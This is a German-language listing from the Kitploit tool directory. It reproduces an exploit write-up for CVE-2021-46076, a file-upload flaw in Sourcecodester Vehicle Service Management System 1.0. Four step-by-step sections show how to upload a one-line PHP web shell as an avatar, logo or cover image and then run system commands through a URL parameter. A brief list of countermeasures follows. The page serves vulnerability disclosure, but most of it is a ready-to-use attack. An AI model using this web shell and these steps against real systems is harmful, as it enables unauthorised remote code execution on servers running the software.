Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
Vehicle-Service-Management-System-Multiple-File-upload-Leads-to-Code-Execution — CVE-2021-46076 - Sourcecodester Vehicle Service Management System 1.0 ist anfällig für Datei-Upload. Ein Angreifer kann an mehreren Endpunkten eine bösartige PHP-Datei hochladen, was zu Code-Ausführung führt. | Kitploit
Tools/GitHubGitHub/sanupl/vehicle-service-management-system-multiple-file-upload-leads-to-code-execution
Payload-GenerierungSchwachstellenanalyseCode-AnalyseExploitationWebanwendungs-ExploitationPenetrationstests
GitHubsanupl/vehicle-service-management-system-multiple-file-upload-leads-to-code-execution

Vehicle-Service-Management-System-Multiple-File-upload-Leads-to-Code-Execution

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2021-46076 - Sourcecodester Vehicle Service Management System 1.0 ist anfällig für Datei-Upload. Ein Angreifer kann an mehreren Endpunkten eine bösartige PHP-Datei hochladen, was zu Code-Ausführung führt.

Repository anzeigen
vor 3 MonatenNoch nicht geprüft

CVE-2021-46076

Exploit-Titel: Vehicle Service Management System - 'Mehrfacher' Datei-Upload führt zu Code-Ausführung

Exploit-Autor: SANU P.L

CVE: CVE-2021-46076

CVSS: 8.8 HOCH

Referenzen:

  • https://www.plsanu.com/vehicle-service-management-system-multiple-file-upload-leads-to-code-execution
  • https://nvd.nist.gov/vuln/detail/CVE-2021-46076
  • https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-46076

Beschreibung:

Sourcecodester Vehicle Service Management System 1.0 ist anfällig für Datei-Upload. Ein Angreifer kann an mehreren Endpunkten eine schädliche PHP-Datei hochladen, was zu Code-Ausführung führt.

1. Vehicle Service Management System - 'MyAccount' (/admin/?page=user)

Exploit:

  1. Melden Sie sich im Admin-Panel an: http://localhost/vehicle_service/admin
  2. Navigieren Sie zum Abschnitt „My Account": http://localhost/vehicle_service/admin/?page=user

Payload:

root@kitploit:~
<?php system($_GET['cmd']);?>
  1. Speichern Sie den obigen PHP-Code z. B. als Cmd.php
  2. Geben Sie im Abschnitt „My Account" alle erforderlichen Details ein und wählen Sie die PHP-Datei unter „Avatar" aus.
  3. Klicken Sie auf die Schaltfläche „Update".
  4. Öffnen Sie das Avatar-Bild in einem neuen Tab.
  5. Fügen Sie den Parameter cmd in die URL ein und führen Sie die Befehle aus.
  6. Endgültige URL: http://localhost/vehicle_service/uploads/1640632740_Cmd.php?cmd=whoami
  7. Führen Sie alle Systembefehle aus, z. B.: id, whoami, pwd usw.

2. Vehicle Service Management System - 'User List' (/admin/?page=user/manage_user)

Exploit:

  1. Melden Sie sich im Admin-Panel an: http://localhost/vehicle_service/admin
  2. Navigieren Sie zum Abschnitt „User List" und klicken Sie auf die Schaltfläche „Create New".

Payload:

root@kitploit:~
<?php system($_GET['cmd']);?>
  1. Speichern Sie den obigen PHP-Code z. B. als Cmd.php
  2. Geben Sie auf der Seite „Create New User" alle erforderlichen Details ein und wählen Sie die PHP-Datei unter „Avatar" aus.
  3. Klicken Sie auf die Schaltfläche „Save".
  4. Öffnen Sie das Avatar-Bild in einem neuen Tab.
  5. Fügen Sie den Parameter cmd in die URL ein und führen Sie die Befehle aus.
  6. Endgültige URL: http://localhost/vehicle_service/uploads/1640632740_Cmd.php?cmd=whoami
  7. Führen Sie alle Systembefehle aus, z. B.: id, whoami, pwd usw.

3. Vehicle Service Management System - 'Settings-System Logo' (/admin/?page=system_info)

Exploit:

  1. Melden Sie sich im Admin-Panel an: http://localhost/vehicle_service/admin
  2. Navigieren Sie zum Abschnitt „Settings": http://localhost/vehicle_service/admin/?page=system_info

Payload:

root@kitploit:~
<?php system($_GET['cmd']);?>
  1. Speichern Sie den obigen PHP-Code z. B. als Cmd.php
  2. Geben Sie im Abschnitt „Settings" alle erforderlichen Details ein und wählen Sie die PHP-Datei unter „System Logo" aus.
  3. Klicken Sie auf die Schaltfläche „Update".
  4. Öffnen Sie das System-Logo-Bild in einem neuen Tab.
  5. Fügen Sie den Parameter cmd in die URL ein und führen Sie die Befehle aus.
  6. Endgültige URL: http://localhost/vehicle_service/uploads/1640632740_Cmd.php?cmd=whoami
  7. Führen Sie alle Systembefehle aus, z. B.: id, whoami, pwd usw.

4. Vehicle Service Management System - 'Settings-Website Cover' (/admin/?page=system_info)

Exploit:

  1. Melden Sie sich im Admin-Panel an: http://localhost/vehicle_service/admin
  2. Navigieren Sie zum Abschnitt „Settings": http://localhost/vehicle_service/admin/?page=system_info

Payload:

root@kitploit:~
<?php system($_GET['cmd']);?>
  1. Speichern Sie den obigen PHP-Code z. B. als Cmd.php
  2. Geben Sie im Abschnitt „Settings" alle erforderlichen Details ein und wählen Sie die PHP-Datei unter „Website Cover" aus.
  3. Klicken Sie auf die Schaltfläche „Update".
  4. Öffnen Sie das Website-Cover-Bild in einem neuen Tab.
  5. Fügen Sie den Parameter cmd in die URL ein und führen Sie die Befehle aus.
  6. Endgültige URL: http://localhost/vehicle_service/uploads/1640632740_Cmd.php?cmd=whoami
  7. Führen Sie alle Systembefehle aus, z. B.: id, whoami, pwd usw.

Auswirkungen:

Ein Angreifer kann an mehreren Endpunkten eine schädliche PHP-Datei hochladen, was zu Code-Ausführung führt.

Gegenmaßnahmen:

Es wird empfohlen, Folgendes umzusetzen:

  • Akzeptieren Sie einen Dateinamen und dessen Erweiterung niemals direkt ohne einen Whitelist-Filter.
  • Falls keine Unicode-Zeichen erforderlich sind, wird dringend empfohlen, nur alphanumerische Zeichen und nur einen Punkt als Eingabe für den Dateinamen und die Erweiterung zu akzeptieren.
  • Begrenzen Sie die Dateigröße auf einen Maximalwert, um Denial-of-Service-Angriffe zu verhindern.
  • Das Upload-Verzeichnis sollte keinerlei „Ausführen"-Berechtigung besitzen.
  • Verlassen Sie sich nicht ausschließlich auf clientseitige Validierung.
Tool herunterladen